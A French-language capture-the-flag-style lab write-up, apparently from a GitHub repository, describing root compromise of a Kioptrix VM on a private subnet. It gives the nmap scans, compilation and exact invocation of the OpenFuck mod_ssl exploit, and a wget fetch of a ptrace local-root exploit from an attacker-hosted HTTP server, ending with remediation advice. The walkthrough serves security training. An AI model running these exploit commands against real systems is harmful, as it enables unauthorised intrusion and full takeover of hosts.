Accès root sécurisé en identifiant et en exploitant des erreurs de configuration et des logiciels obsolètes. Vulnérabilité de débordement de tampon dans une version obsolète de mod_ssl (CVE-2002-0082). L'élévation de privilèges a ensuite été obtenue en exploitant une condition de concurrence dans l'utilitaire « ptrace » du noyau Linux (CVE-2003-0127),
anilkashyap01/binary-exploitation-and-kernel-escalation
Accès root obtenu en identifiant et en exploitant des erreurs de configuration et des logiciels obsolètes. Vulnérabilité de débordement de tampon dans une version obsolète de mod_ssl (CVE-2002-0082). L'escalade de privilèges a ensuite été réalisée en exploitant une condition de course dans l'utilitaire "ptrace" du noyau Linux (CVE-2003-0127),
Phase 1: Reconnaissance et énumération
La première étape consistait à identifier l'adresse IP de la cible sur le sous-réseau 192.168.56.0/24.
Découverte des hôtes:
sudo nmap -sn 192.168.56.0/24
Résultat: la cible a été identifiée à l'adresse 192.168.56.105.
Analyse des ports et énumération des services:
Un scan Nmap complet a été exécuté pour identifier les ports ouverts, les services actifs et les détails du système d'exploitation.
sudo nmap -sS -sV -O -p- -oA lab_full_scan1 192.168.56.105
Résultats clés:
Ports 80/tcp et 443/tcp: Apache httpd 1.3.20 avec mod_ssl/2.8.4 et OpenSSL/0.9.6b.
Port 22/tcp: OpenSSH 2.9p2.
Port 139/tcp: Samba smbd.
Détection du système d'exploitation: noyau Linux 2.4.X (probablement 2.4.9 - 2.4.18).
La version obsolète d'Apache et de mod_ssl a immédiatement présenté un vecteur à forte probabilité pour l'accès initial.
Phase 2: Accès initial (Exploitation)
La base de données d'exploits via searchsploit a confirmé que mod_ssl 2.8.4 est vulnérable à un débordement de tampon à distance bien connu.
searchsploit mod_ssl 2.8
J'ai identifié l'exploit OpenFuckV2.c (EDB-ID: 47080) comme la charge utile la plus fiable pour cette vulnérabilité. J'ai copié l'exploit sur l'hôte local et je l'ai compilé avec les bibliothèques cryptographiques nécessaires.
Compilation de l'exploit:
searchsploit -m 47080 gcc -o OpenFuck 47080.c -lcrypto
L'exécution du binaire compilé sans arguments a fourni une liste des offsets pris en charge. En faisant correspondre l'offset au système d'exploitation et à la version d'Apache spécifiques de la cible (Red-Hat Linux, Apache 1.3.20), j'ai déterminé que le bon offset était 0x6b.
Exécution:
./OpenFuck 0x6b 192.168.56.105 443 -c 40
L'exploit a réussi à provoquer un débordement de tampon, octroyant un shell à faibles privilèges sous l'utilisateur apache.
bash-2.05$ whoami apache
Phase 3: Escalade de privilèges
Note sur la méthodologie: l'exploit OpenFuck tente de télécharger automatiquement une charge utile secondaire d'escalade de privilèges (ptrace-kmod.c) depuis un serveur distant à l'aide de wget. Cependant, comme l'environnement cible n'avait pas d'accès Internet sortant, cette étape automatisée a échoué (résolution en « Host not found »). J'ai alors basculé vers une énumération et une exploitation manuelles.
Énumération du système:
bash-2.05$ uname -a Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
Le système exécutait une version de noyau extrêmement vulnérable: 2.4.7-10. La recherche d'exploits ciblant ce noyau Linux spécifique a révélé une vulnérabilité locale d'escalade de privilèges utilisant ptrace/kmod.
Préparation de la charge utile:
J'ai localisé l'exploit localement (EDB-ID: 3) et je l'ai hébergé via un serveur HTTP Python sur la machine de l'attaquant pour faciliter le transfert.
Hôte attaquant:
searchsploit -m 3 python3 -m http.server 8000
Machine cible:
cd /tmp wget http://192.168.56.1:8000/3.c
Le code source de 3.c a été transféré avec succès dans le répertoire /tmp de la cible, je l'ai compilé et exécuté nativement sur la machine cible.
Exécution et compromission du compte root:
gcc 3.c -o exploit
./exploit
whoami
root
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
La condition de course de ptrace a été exploitée avec succès, élevant les privilèges du démon apache au compte root. La compromission totale du système a été réalisée.
Phase 4: Remédiation
Pour sécuriser ce système contre les vulnérabilités exploitées:
Mettre à jour les services web: le serveur Apache doit être mis à jour vers les dernières versions stables afin de corriger la vulnérabilité de débordement de tampon CVE-2002-0082, qui permet l'exécution de code à distance sans authentification.
Correction du noyau: le noyau Linux (2.4.7-10) est vulnérable à de multiples exploits locaux d'escalade de privilèges, y compris la condition de course ptrace (kmod). Le noyau du système d'exploitation doit être mis à niveau vers une version moderne et prise en charge.
Segmentation du réseau et filtrage du trafic sortant: le serveur doit être placé derrière un pare-feu qui restreint le trafic sortant inutile. Bien que le wget automatisé ait échoué dans ce laboratoire hors ligne, le filtrage du trafic sortant empêcherait les applications web compromises de télécharger des charges utiles malveillantes secondaires depuis Internet dans un environnement réel.
